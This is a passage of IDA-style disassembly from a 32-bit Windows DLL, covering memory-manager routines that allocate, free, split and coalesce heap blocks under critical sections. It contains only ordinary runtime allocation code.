		lea	ecx, [esp+24h+var_18]
		lea	edx, [esp+24h+var_20]
		mov	eax, ebp
		call	sub_1000124C
		cmp	[esp+24h+var_18], 0
		jnz	short loc_100016A7
		lea	ecx, [esp+24h+var_18]
		mov	edx, [esp+24h+var_1C]
		mov	eax, [esp+24h+var_20]
		call	sub_1000142C
		mov	eax, [esp+24h+var_24]
		xor	edx, edx
		mov	[eax], edx
		jmp	loc_100017A3
; ---------------------------------------------------------------------------

loc_10001713:				; CODE XREF: sub_10001688+32j
					; sub_10001688+56j
		lea	ecx, [esp+24h+var_20]
		mov	edx, edi
		mov	eax, esi
		call	sub_100013B4
		cmp	[esp+24h+var_20], 0
		jz	short loc_1000175B
		lea	ecx, [esp+24h+var_18]
		lea	edx, [esp+24h+var_20]
		mov	eax, ebp
		call	sub_1000124C
		cmp	[esp+24h+var_18], 0
		jnz	loc_100016A7
		lea	ecx, [esp+24h+var_18]
		mov	edx, [esp+24h+var_1C]
		mov	eax, [esp+24h+var_20]
		call	sub_1000142C
		mov	eax, [esp+24h+var_24]
		xor	edx, edx
		mov	[eax], edx
		jmp	short loc_100017A3
; ---------------------------------------------------------------------------

loc_1000175B:				; CODE XREF: sub_10001688+37j
					; sub_10001688+9Dj
		mov	ebp, [ebx+8]
		cmp	esi, ebp
		jnz	short loc_1000179C
		cmp	edi, [ebx+0Ch]
		jg	short loc_1000179C
		mov	ecx, [esp+24h+var_24]
		mov	edx, edi
		mov	eax, ebp
		call	sub_100014E4
		mov	eax, [esp+24h+var_24]
		cmp	dword ptr [eax], 0
		jz	short loc_100017A3
		mov	eax, [esp+24h+var_24]
		mov	eax, [eax+4]
		add	[ebx+8], eax
		mov	eax, [esp+24h+var_24]
		mov	eax, [eax+4]
		sub	[ebx+0Ch], eax
		cmp	dword ptr [ebx+0Ch], 0
		jnz	short loc_100017A3
		mov	eax, ebx
		call	sub_10001234
		jmp	short loc_100017A3
; ---------------------------------------------------------------------------

loc_1000179C:				; CODE XREF: sub_10001688+D8j
					; sub_10001688+DDj
		mov	eax, [esp+24h+var_24]
		xor	edx, edx
		mov	[eax], edx

loc_100017A3:				; CODE XREF: sub_10001688+86j
					; sub_10001688+D1j ...
		add	esp, 14h
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_10001688	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_100017AC	proc near		; CODE XREF: sub_10001B94+4Ep
					; sub_10001B94+61p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h

		push	ebx
		push	esi
		push	edi
		add	esp, 0FFFFFFECh
		mov	edi, ecx
		mov	[esp+20h+var_20], edx
		lea	ebx, [eax+3FFFh]
		and	ebx, 0FFFFC000h
		mov	esi, [esp+20h+var_20]
		add	esi, eax
		and	esi, 0FFFFC000h
		cmp	ebx, esi
		jnb	short loc_1000182D
		mov	ecx, edi
		mov	edx, esi
		sub	edx, ebx
		mov	eax, ebx
		call	sub_10001578
		lea	ecx, [esp+20h+var_1C]
		mov	edx, edi
		mov	eax, offset off_1000A5F4
		call	sub_1000124C
		mov	ebx, [esp+20h+var_1C]
		test	ebx, ebx
		jz	short loc_10001816
		lea	ecx, [esp+20h+var_14]
		mov	edx, [esp+20h+var_18]
		mov	eax, ebx
		call	sub_1000142C
		mov	eax, [esp+20h+var_14]
		mov	[esp+20h+var_1C], eax
		mov	eax, [esp+20h+var_10]
		mov	[esp+20h+var_18], eax

loc_10001816:				; CODE XREF: sub_100017AC+49j
		cmp	[esp+20h+var_1C], 0
		jz	short loc_10001831
		lea	edx, [esp+20h+var_1C]
		mov	eax, offset off_1000A5F4
		call	sub_100012BC
		jmp	short loc_10001831
; ---------------------------------------------------------------------------

loc_1000182D:				; CODE XREF: sub_100017AC+24j
		xor	eax, eax
		mov	[edi], eax

loc_10001831:				; CODE XREF: sub_100017AC+6Fj
					; sub_100017AC+7Fj
		add	esp, 14h
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_100017AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10001838	proc near		; CODE XREF: sub_10001F24+14p
					; sub_100020B4+19p ...

arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 10003048 SIZE 00000036 BYTES

		push	ebp
		mov	ebp, esp
		xor	edx, edx
		push	ebp
		push	offset loc_100018EE
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		push	offset dword_1000A5C4
		call	sub_1000118C	; InitializeCriticalSection
		cmp	ds:byte_1000A045, 0
		jz	short loc_10001866
		push	offset dword_1000A5C4
		call	sub_10001194	; RtlEnterCriticalSection

loc_10001866:				; CODE XREF: sub_10001838+22j
		mov	eax, offset off_1000A5E4
		call	sub_100011FC
		mov	eax, offset off_1000A5F4
		call	sub_100011FC
		mov	eax, offset off_1000A620
		call	sub_100011FC
		push	0FF8h
		push	0
		call	sub_1000116C	; LocalAlloc
		mov	ds:dword_1000A61C, eax
		cmp	ds:dword_1000A61C, 0
		jz	short loc_100018CD
		mov	eax, 3

loc_100018A3:				; CODE XREF: sub_10001838+7Dj
		mov	edx, ds:dword_1000A61C
		xor	ecx, ecx
		mov	[edx+eax*4-0Ch], ecx
		inc	eax
		cmp	eax, 401h
		jnz	short loc_100018A3
		mov	eax, offset dword_1000A604
		mov	[eax+4], eax
		mov	[eax], eax
		mov	ds:dword_1000A610, eax
		mov	ds:byte_1000A5BC, 1

loc_100018CD:				; CODE XREF: sub_10001838+64j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_100018F5

loc_100018DA:				; CODE XREF: sub_10001838+BBj
		cmp	ds:byte_1000A045, 0
		jz	short locret_100018ED
		push	offset dword_1000A5C4
		call	sub_1000119C	; RtlLeaveCriticalSection

locret_100018ED:			; CODE XREF: sub_10001838+A9j
		retn
; ---------------------------------------------------------------------------

loc_100018EE:				; DATA XREF: sub_10001838+6o
		jmp	loc_10003048
; ---------------------------------------------------------------------------
		jmp	short loc_100018DA
; ---------------------------------------------------------------------------

loc_100018F5:				; DATA XREF: sub_10001838+9Do
		mov	al, ds:byte_1000A5BC
		pop	ebp
		retn
sub_10001838	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_100018FC	proc near		; CODE XREF: sub_1000428C+37p
		push	ebp
		mov	ebp, esp
		push	ebx
		cmp	ds:byte_1000A5BC, 0
		jz	loc_100019D9
		xor	edx, edx
		push	ebp
		push	offset loc_100019D2
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		cmp	ds:byte_1000A045, 0
		jz	short loc_1000192E
		push	offset dword_1000A5C4
		call	sub_10001194	; RtlEnterCriticalSection

loc_1000192E:				; CODE XREF: sub_100018FC+26j
		mov	ds:byte_1000A5BC, 0
		mov	eax, ds:dword_1000A61C
		push	eax
		call	sub_10001174	; LocalFree
		xor	eax, eax
		mov	ds:dword_1000A61C, eax
		mov	ebx, ds:off_1000A5E4
		jmp	short loc_10001961
; ---------------------------------------------------------------------------

loc_1000194F:				; CODE XREF: sub_100018FC+6Bj
		push	8000h
		push	0
		mov	eax, [ebx+8]
		push	eax
		call	sub_10001184	; VirtualFree
		mov	ebx, [ebx]

loc_10001961:				; CODE XREF: sub_100018FC+51j
		cmp	ebx, offset off_1000A5E4
		jnz	short loc_1000194F
		mov	eax, offset off_1000A5E4
		call	sub_100011FC
		mov	eax, offset off_1000A5F4
		call	sub_100011FC
		mov	eax, offset off_1000A620
		call	sub_100011FC
		mov	eax, ds:dword_1000A5DC
		test	eax, eax
		jz	short loc_100019A7

loc_10001990:				; CODE XREF: sub_100018FC+A9j
		mov	edx, [eax]
		mov	ds:dword_1000A5DC, edx
		push	eax
		call	sub_10001174	; LocalFree
		mov	eax, ds:dword_1000A5DC
		test	eax, eax
		jnz	short loc_10001990

loc_100019A7:				; CODE XREF: sub_100018FC+92j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_100019D9

loc_100019B4:				; CODE XREF: sub_100018FC+DBj
		cmp	ds:byte_1000A045, 0
		jz	short loc_100019C7
		push	offset dword_1000A5C4
		call	sub_1000119C	; RtlLeaveCriticalSection

loc_100019C7:				; CODE XREF: sub_100018FC+BFj
		push	offset dword_1000A5C4
		call	sub_100011A4	; RtlDeleteCriticalSection
		retn
; ---------------------------------------------------------------------------

loc_100019D2:				; DATA XREF: sub_100018FC+14o
		jmp	loc_10003048
; ---------------------------------------------------------------------------
		jmp	short loc_100019B4
; ---------------------------------------------------------------------------

loc_100019D9:				; CODE XREF: sub_100018FC+Bj
					; DATA XREF: sub_100018FC+B3o
		pop	ebx
		pop	ebp
		retn
sub_100018FC	endp


; =============== S U B	R O U T	I N E =======================================



sub_100019DC	proc near		; CODE XREF: sub_10001AEC:loc_10001B4Dp
					; sub_10001B5C+23p ...
		push	ebx
		cmp	eax, ds:dword_1000A610
		jnz	short loc_100019EE
		mov	edx, [eax+4]
		mov	ds:dword_1000A610, edx

loc_100019EE:				; CODE XREF: sub_100019DC+7j
		mov	edx, [eax+4]
		mov	ecx, [eax+8]
		cmp	ecx, 1000h
		jg	short loc_10001A34
		cmp	eax, edx
		jnz	short loc_10001A17
		test	ecx, ecx
		jns	short loc_10001A07
		add	ecx, 3

loc_10001A07:				; CODE XREF: sub_100019DC+26j
		sar	ecx, 2
		mov	eax, ds:dword_1000A61C
		xor	edx, edx
		mov	[eax+ecx*4-0Ch], edx
		jmp	short loc_10001A3B
; ---------------------------------------------------------------------------

loc_10001A17:				; CODE XREF: sub_100019DC+22j
		test	ecx, ecx
		jns	short loc_10001A1E
		add	ecx, 3

loc_10001A1E:				; CODE XREF: sub_100019DC+3Dj
		sar	ecx, 2
		mov	ebx, ds:dword_1000A61C
		mov	[ebx+ecx*4-0Ch], edx
		mov	eax, [eax]
		mov	[edx], eax
		mov	[eax+4], edx
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_10001A34:				; CODE XREF: sub_100019DC+1Ej
		mov	eax, [eax]
		mov	[edx], eax
		mov	[eax+4], edx

loc_10001A3B:				; CODE XREF: sub_100019DC+39j
		pop	ebx
		retn
sub_100019DC	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_10001A40	proc near		; CODE XREF: sub_10001B94+11p
		mov	edx, ds:off_1000A620
		jmp	short loc_10001A58
; ---------------------------------------------------------------------------

loc_10001A48:				; CODE XREF: sub_10001A40+1Ej
		mov	ecx, [edx+8]
		cmp	eax, ecx
		jb	short loc_10001A56
		add	ecx, [edx+0Ch]
		cmp	eax, ecx
		jb	short loc_10001A6C

loc_10001A56:				; CODE XREF: sub_10001A40+Dj
		mov	edx, [edx]

loc_10001A58:				; CODE XREF: sub_10001A40+6j
		cmp	edx, offset off_1000A620
		jnz	short loc_10001A48
		mov	ds:dword_1000A5C0, 3
		xor	edx, edx

loc_10001A6C:				; CODE XREF: sub_10001A40+14j
		mov	eax, edx
		retn
sub_10001A40	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_10001A70	proc near		; CODE XREF: sub_10001B94+74p
					; sub_10001D18+68p
		push	ebx
		mov	ecx, edx
		sub	ecx, 4
		lea	ebx, [ecx+eax]
		cmp	edx, 10h
		jl	short loc_10001A8D
		mov	dword ptr [ebx], 80000007h
		mov	edx, ecx
		call	sub_10001C44
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_10001A8D:				; CODE XREF: sub_10001A70+Cj
		cmp	edx, 4
		jl	short loc_10001A9E
		mov	ecx, edx
		or	ecx, 80000002h
		mov	[eax], ecx
		mov	[ebx], ecx

loc_10001A9E:				; CODE XREF: sub_10001A70+20j
		pop	ebx
		retn
sub_10001A70	endp


; =============== S U B	R O U T	I N E =======================================



sub_10001AA0	proc near		; CODE XREF: sub_10001AC4+Dp
					; sub_10001CCC+36p ...
		inc	ds:dword_1000A5AC
		mov	edx, eax
		sub	edx, 4
		mov	edx, [edx]
		and	edx, 7FFFFFFCh
		sub	edx, 4
		add	ds:dword_1000A5B0, edx
		call	sub_100020B4
		retn
sub_10001AA0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10001AC4	proc near		; CODE XREF: sub_10001B94+8Ep
		cmp	edx, 0Ch
		jl	short loc_10001AD7
		or	edx, 2
		mov	[eax], edx
		add	eax, 4
		call	sub_10001AA0
		retn
; ---------------------------------------------------------------------------

loc_10001AD7:				; CODE XREF: sub_10001AC4+3j
		cmp	edx, 4
		jl	short loc_10001AE6
		mov	ecx, edx
		or	ecx, 80000002h
		mov	[eax], ecx

loc_10001AE6:				; CODE XREF: sub_10001AC4+16j
		add	eax, edx
		and	dword ptr [eax], 0FFFFFFFEh
		retn
sub_10001AC4	endp


; =============== S U B	R O U T	I N E =======================================



sub_10001AEC	proc near		; CODE XREF: sub_10001D18+36p
		push	ebx
		push	esi
		mov	edx, eax
		sub	edx, 4
		mov	edx, [edx]
		mov	ecx, edx
		and	ecx, 80000002h
		cmp	ecx, 80000002h
		jz	short loc_10001B0F
		mov	ds:dword_1000A5C0, 4

loc_10001B0F:				; CODE XREF: sub_10001AEC+17j
		mov	ebx, edx
		and	ebx, 7FFFFFFCh
		sub	eax, ebx
		mov	ecx, eax
		xor	edx, [ecx]
		test	edx, 0FFFFFFFEh
		jz	short loc_10001B2F
		mov	ds:dword_1000A5C0, 5

loc_10001B2F:				; CODE XREF: sub_10001AEC+37j
		test	byte ptr [ecx],	1
		jz	short loc_10001B54
		mov	edx, eax
		sub	edx, 0Ch
		mov	esi, [edx+8]
		sub	eax, esi
		cmp	esi, [eax+8]
		jz	short loc_10001B4D
		mov	ds:dword_1000A5C0, 6

loc_10001B4D:				; CODE XREF: sub_10001AEC+55j
		call	sub_100019DC
		add	ebx, esi

loc_10001B54:				; CODE XREF: sub_10001AEC+46j
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_10001AEC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10001B5C	proc near		; CODE XREF: sub_10001D18+4Fp
		push	ebx
		push	esi
		push	edi
		mov	ebx, eax
		xor	edi, edi
		mov	eax, [ebx]
		test	eax, 80000000h
		jz	short loc_10001B77
		and	eax, 7FFFFFFCh
		add	edi, eax
		add	ebx, eax
		mov	eax, [ebx]

loc_10001B77:				; CODE XREF: sub_10001B5C+Ej
		test	al, 2
		jnz	short loc_10001B8E
		mov	esi, ebx
		mov	eax, esi
		call	sub_100019DC
		mov	eax, [esi+8]
		add	edi, eax
		add	ebx, eax
		and	dword ptr [ebx], 0FFFFFFFEh

loc_10001B8E:				; CODE XREF: sub_10001B5C+1Dj
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_10001B5C	endp


; =============== S U B	R O U T	I N E =======================================



sub_10001B94	proc near		; CODE XREF: sub_10001C44+61p

var_1C		= byte ptr -1Ch
var_1B		= dword	ptr -1Bh
var_17		= dword	ptr -17h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFF4h
		mov	edi, edx
		mov	esi, eax
		mov	[esp+1Ch+var_1C], 0
		mov	eax, esi
		call	sub_10001A40
		mov	ebx, eax
		test	ebx, ebx
		jz	loc_10001C36
		mov	ebp, [ebx+8]
		mov	eax, ebp
		add	eax, [ebx+0Ch]
		mov	edx, eax
		lea	ecx, [edi+esi]
		sub	edx, ecx
		cmp	edx, 0Ch
		jg	short loc_10001BCC
		mov	edi, eax
		sub	edi, esi

loc_10001BCC:				; CODE XREF: sub_10001B94+32j
		mov	eax, esi
		sub	eax, ebp
		cmp	eax, 0Ch
		jge	short loc_10001BE9
		lea	ecx, [esp+1Ch+var_1B]
		mov	edx, esi
		sub	edx, [ebx+8]
		add	edx, edi
		mov	eax, ebp
		call	sub_100017AC
		jmp	short loc_10001BFA
; ---------------------------------------------------------------------------

loc_10001BE9:				; CODE XREF: sub_10001B94+3Fj
		lea	ecx, [esp+1Ch+var_1B]
		mov	edx, edi
		sub	edx, 4
		lea	eax, [esi+4]
		call	sub_100017AC

loc_10001BFA:				; CODE XREF: sub_10001B94+53j
		mov	ebp, [esp+1Ch+var_1B]
		test	ebp, ebp
		jz	short loc_10001C36
		mov	edx, ebp
		sub	edx, esi
		mov	eax, esi
		call	sub_10001A70
		mov	eax, ebp
		add	eax, [esp+1Ch+var_17]
		mov	edx, [ebx+8]
		add	edx, [ebx+0Ch]
		cmp	eax, edx
		jnb	short loc_10001C27
		lea	edx, [edi+esi]
		sub	edx, eax
		call	sub_10001AC4

loc_10001C27:				; CODE XREF: sub_10001B94+87j
		lea	edx, [esp+1Ch+var_1B]
		mov	eax, ebx
		call	sub_100012BC
		mov	[esp+1Ch+var_1C], 1

loc_10001C36:				; CODE XREF: sub_10001B94+1Aj
					; sub_10001B94+6Cj
		mov	al, [esp+1Ch+var_1C]
		add	esp, 0Ch
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_10001B94	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10001C44	proc near		; CODE XREF: sub_10001A70+16p
					; sub_10001E30+BBp ...
		push	ebx
		push	esi
		push	edi
		mov	esi, edx
		mov	edi, eax
		mov	ebx, edi
		mov	[ebx+8], esi
		mov	eax, ebx
		add	eax, esi
		sub	eax, 0Ch
		mov	[eax+8], esi
		cmp	esi, 1000h
		jg	short loc_10001C99
		mov	edx, esi
		test	edx, edx
		jns	short loc_10001C6B
		add	edx, 3

loc_10001C6B:				; CODE XREF: sub_10001C44+22j
		sar	edx, 2
		mov	eax, ds:dword_1000A61C
		mov	eax, [eax+edx*4-0Ch]
		test	eax, eax
		jnz	short loc_10001C8B
		mov	eax, ds:dword_1000A61C
		mov	[eax+edx*4-0Ch], ebx
		mov	[ebx+4], ebx
		mov	[ebx], ebx
		jmp	short loc_10001CC5
; ---------------------------------------------------------------------------

loc_10001C8B:				; CODE XREF: sub_10001C44+35j
		mov	edx, [eax]
		mov	[ebx+4], eax
		mov	[ebx], edx
		mov	[eax], ebx
		mov	[edx+4], ebx
		jmp	short loc_10001CC5
; ---------------------------------------------------------------------------

loc_10001C99:				; CODE XREF: sub_10001C44+1Cj
		cmp	esi, 3C00h
		jl	short loc_10001CAE
		mov	edx, esi
		mov	eax, edi
		call	sub_10001B94
		test	al, al
		jnz	short loc_10001CC5

loc_10001CAE:				; CODE XREF: sub_10001C44+5Bj
		mov	eax, ds:dword_1000A610
		mov	ds:dword_1000A610, ebx
		mov	edx, [eax]
		mov	[ebx+4], eax
		mov	[ebx], edx
		mov	[eax], ebx
		mov	[edx+4], ebx

loc_10001CC5:				; CODE XREF: sub_10001C44+45j
					; sub_10001C44+53j ...
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_10001C44	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10001CCC	proc near		; CODE XREF: sub_10001D18+Fp
					; sub_100020B4+100p ...
		cmp	ds:dword_1000A614, 0
		jle	short locret_10001D15
		cmp	ds:dword_1000A614, 0Ch
		jge	short loc_10001CEA
		mov	ds:dword_1000A5C0, 7
		jmp	short locret_10001D15
; ---------------------------------------------------------------------------

loc_10001CEA:				; CODE XREF: sub_10001CCC+10j
		mov	eax, ds:dword_1000A614
		or	eax, 2
		mov	edx, ds:dword_1000A618
		mov	[edx], eax
		mov	eax, ds:dword_1000A618
		add	eax, 4
		call	sub_10001AA0
		xor	eax, eax
		mov	ds:dword_1000A618, eax
		xor	eax, eax
		mov	ds:dword_1000A614, eax

locret_10001D15:			; CODE XREF: sub_10001CCC+7j
					; sub_10001CCC+1Cj
		retn
sub_10001CCC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10001D18	proc near		; CODE XREF: sub_10001DA4+18p
					; sub_10001DD0+1Dp

var_1C		= byte ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h

		push	ebx
		push	esi
		push	edi
		add	esp, 0FFFFFFF0h
		mov	esi, eax
		lea	edi, [esp+1Ch+var_1C]
		movsd
		movsd
		mov	edi, esp
		call	sub_10001CCC
		lea	ecx, [esp+1Ch+var_14]
		mov	edx, edi
		mov	eax, offset off_1000A620
		call	sub_1000124C
		mov	ebx, [esp+1Ch+var_14]
		test	ebx, ebx
		jnz	short loc_10001D48
		xor	eax, eax
		jmp	short loc_10001D9A
; ---------------------------------------------------------------------------

loc_10001D48:				; CODE XREF: sub_10001D18+2Aj
		mov	eax, [edi]
		cmp	ebx, eax
		jnb	short loc_10001D58
		call	sub_10001AEC
		sub	[edi], eax
		add	[edi+4], eax

loc_10001D58:				; CODE XREF: sub_10001D18+34j
		mov	eax, [edi]
		add	eax, [edi+4]
		mov	esi, ebx
		add	esi, [esp+1Ch+var_10]
		cmp	eax, esi
		jnb	short loc_10001D6F
		call	sub_10001B5C
		add	[edi+4], eax

loc_10001D6F:				; CODE XREF: sub_10001D18+4Dj
		mov	eax, [edi]
		add	eax, [edi+4]
		cmp	esi, eax
		jnz	short loc_10001D89
		sub	eax, 4
		mov	edx, 4
		call	sub_10001A70
		sub	dword ptr [edi+4], 4

loc_10001D89:				; CODE XREF: sub_10001D18+5Ej
		mov	eax, [edi]
		mov	ds:dword_1000A618, eax
		mov	eax, [edi+4]
		mov	ds:dword_1000A614, eax
		mov	al, 1

loc_10001D9A:				; CODE XREF: sub_10001D18+2Ej
		add	esp, 10h
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_10001D18	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10001DA4	proc near		; CODE XREF: sub_10001E30+57p

var_C		= dword	ptr -0Ch

		push	ebx
		add	esp, 0FFFFFFF8h
		mov	ebx, eax
		mov	edx, esp
		lea	eax, [ebx+4]
		call	sub_100015F8
		cmp	[esp+0Ch+var_C], 0
		jz	short loc_10001DC5
		mov	eax, esp
		call	sub_10001D18
		test	al, al
		jnz	short loc_10001DC9

loc_10001DC5:				; CODE XREF: sub_10001DA4+14j
		xor	eax, eax
		jmp	short loc_10001DCB
; ---------------------------------------------------------------------------

loc_10001DC9:				; CODE XREF: sub_10001DA4+1Fj
		mov	al, 1

loc_10001DCB:				; CODE XREF: sub_10001DA4+23j
		pop	ecx
		pop	edx
		pop	ebx
		retn
sub_10001DA4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_10001DD0	proc near		; CODE XREF: sub_10002258+1A4p

var_10		= dword	ptr -10h

		push	ebx
		push	esi
		add	esp, 0FFFFFFF8h
		mov	esi, edx
		mov	ebx, eax
		mov	ecx, esp
		lea	edx, [esi+4]
		mov	eax, ebx
		call	sub_10001688
		cmp	[esp+10h+var_10], 0
		jz	short loc_10001DF6
		mov	eax, esp
		call	sub_10001D18
		test	al, al
		jnz	short loc_10001DFA

loc_10001DF6:				; CODE XREF: sub_10001DD0+19j
		xor	eax, eax
		jmp	short loc_10001DFC
; ---------------------------------------------------------------------------

loc_10001DFA:				; CODE XREF: sub_10001DD0+24j
		mov	al, 1

loc_10001DFC:				; CODE XREF: sub_10001DD0+28j
		pop	ecx
		pop	edx
		pop	esi
		pop	ebx
		retn
sub_10001DD0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10001E04	proc near		; CODE XREF: sub_10001E30+4Ap
		xor	edx, edx
		test	eax, eax
		jns	short loc_10001E0D
		add	eax, 3

loc_10001E0D:				; CODE XREF: sub_10001E04+4j
		sar	eax, 2
		cmp	eax, 400h
		jg	short loc_10001E2D

loc_10001E17:				; CODE XREF: sub_10001E04+27j
		mov	edx, ds:dword_1000A61C
		mov	edx, [edx+eax*4-0Ch]
		test	edx, edx
		jnz	short loc_10001E2D
		inc	eax
		cmp	eax, 401h
		jnz	short loc_10001E17

loc_10001E2D:				; CODE XREF: sub_10001E04+11j
					; sub_10001E04+1Fj
		mov	eax, edx
		retn
sub_10001E04	endp


; =============== S U B	R O U T	I N E =======================================



sub_10001E30	proc near		; CODE XREF: sub_10001F24+153p
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	esi, eax
		mov	edi, offset dword_1000A610
		mov	ebp, offset dword_1000A614

loc_10001E40:				; CODE XREF: sub_10001E30+6Aj
		mov	ebx, ds:dword_1000A608
		cmp	esi, [ebx+8]
		jle	loc_10001ED3
		mov	ebx, [edi]
		mov	eax, [ebx+8]
		cmp	esi, eax
		jle	short loc_10001ED3
		mov	[ebx+8], esi

loc_10001E5B:				; CODE XREF: sub_10001E30+31j
		mov	ebx, [ebx+4]
		cmp	esi, [ebx+8]
		jg	short loc_10001E5B
		mov	edx, [edi]
		mov	[edx+8], eax
		cmp	ebx, [edi]
		jz	short loc_10001E70
		mov	[edi], ebx
		jmp	short loc_10001ED3
; ---------------------------------------------------------------------------

loc_10001E70:				; CODE XREF: sub_10001E30+3Aj
		cmp	esi, 1000h
		jg	short loc_10001E85
		mov	eax, esi
		call	sub_10001E04
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_10001ED3

loc_10001E85:				; CODE XREF: sub_10001E30+46j
		mov	eax, esi
		call	sub_10001DA4
		test	al, al
		jnz	short loc_10001E97
		xor	eax, eax
		jmp	loc_10001F1F
; ---------------------------------------------------------------------------

loc_10001E97:				; CODE XREF: sub_10001E30+5Ej
		cmp	esi, [ebp+0]
		jg	short loc_10001E40
		sub	[ebp+0], esi
		cmp	dword ptr [ebp+0], 0Ch
		jge	short loc_10001EAD
		add	esi, [ebp+0]
		xor	eax, eax
		mov	[ebp+0], eax

loc_10001EAD:				; CODE XREF: sub_10001E30+73j
		mov	eax, ds:dword_1000A618
		add	ds:dword_1000A618, esi
		mov	edx, esi
		or	edx, 2
		mov	[eax], edx
		add	eax, 4
		inc	ds:dword_1000A5AC
		sub	esi, 4
		add	ds:dword_1000A5B0, esi
		jmp	short loc_10001F1F
; ---------------------------------------------------------------------------

loc_10001ED3:				; CODE XREF: sub_10001E30+19j
					; sub_10001E30+26j ...
		mov	eax, ebx
		call	sub_100019DC
		mov	edx, [ebx+8]
		mov	eax, edx
		sub	eax, esi
		cmp	eax, 0Ch
		jl	short loc_10001EF2
		mov	edx, ebx
		add	edx, esi
		xchg	eax, edx
		call	sub_10001C44
		jmp	short loc_10001F04
; ---------------------------------------------------------------------------

loc_10001EF2:				; CODE XREF: sub_10001E30+B4j
		mov	esi, edx
		cmp	ebx, [edi]
		jnz	short loc_10001EFD
		mov	eax, [ebx+4]
		mov	[edi], eax

loc_10001EFD:				; CODE XREF: sub_10001E30+C6j
		mov	eax, ebx
		add	eax, esi
		and	dword ptr [eax], 0FFFFFFFEh

loc_10001F04:				; CODE XREF: sub_10001E30+C0j
		mov	eax, ebx
		mov	edx, esi
		or	edx, 2
		mov	[eax], edx
		add	eax, 4
		inc	ds:dword_1000A5AC
		sub	esi, 4
		add	ds:dword_1000A5B0, esi

loc_10001F1F:				; CODE XREF: sub_10001E30+62j
					; sub_10001E30+A1j
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_10001E30	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10001F24	proc near		; CODE XREF: sub_10002434+5Cp
					; sub_100024F8+5p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	ebx
		push	esi
		push	edi
		mov	ebx, eax
		cmp	ds:byte_1000A5BC, 0
		jnz	short loc_10001F41
		call	sub_10001838
		test	al, al
		jz	short loc_10001F49

loc_10001F41:				; CODE XREF: sub_10001F24+12j
		cmp	ebx, 7FFFFFF8h
		jle	short loc_10001F53

loc_10001F49:				; CODE XREF: sub_10001F24+1Bj
		xor	eax, eax
		mov	[ebp+var_4], eax
		jmp	loc_100020A7
; ---------------------------------------------------------------------------

loc_10001F53:				; CODE XREF: sub_10001F24+23j
		xor	ecx, ecx
		push	ebp
		push	offset loc_100020A0
		push	dword ptr fs:[ecx]
		mov	fs:[ecx], esp
		cmp	ds:byte_1000A045, 0
		jz	short loc_10001F74
		push	offset dword_1000A5C4
		call	sub_10001194	; RtlEnterCriticalSection

loc_10001F74:				; CODE XREF: sub_10001F24+44j
		add	ebx, 7
		and	ebx, 0FFFFFFFCh
		cmp	ebx, 0Ch
		jge	short loc_10001F84
		mov	ebx, 0Ch

loc_10001F84:				; CODE XREF: sub_10001F24+59j
		cmp	ebx, 1000h
		jg	loc_10002023
		mov	eax, ebx
		test	eax, eax
		jns	short loc_10001F99
		add	eax, 3

loc_10001F99:				; CODE XREF: sub_10001F24+70j
		sar	eax, 2
		mov	edx, ds:dword_1000A61C
		mov	edx, [edx+eax*4-0Ch]
		test	edx, edx
		jz	short loc_10002023
		mov	esi, edx
		mov	eax, esi
		add	eax, ebx
		and	dword ptr [eax], 0FFFFFFFEh
		mov	eax, [edx+4]
		cmp	edx, eax
		jnz	short loc_10001FD4
		mov	eax, ebx
		test	eax, eax
		jns	short loc_10001FC3
		add	eax, 3

loc_10001FC3:				; CODE XREF: sub_10001F24+9Aj
		sar	eax, 2
		mov	ecx, ds:dword_1000A61C
		xor	edi, edi
		mov	[ecx+eax*4-0Ch], edi
		jmp	short loc_10001FFA
; ---------------------------------------------------------------------------

loc_10001FD4:				; CODE XREF: sub_10001F24+94j
		mov	ecx, ebx
		test	ecx, ecx
		jns	short loc_10001FDD
		add	ecx, 3

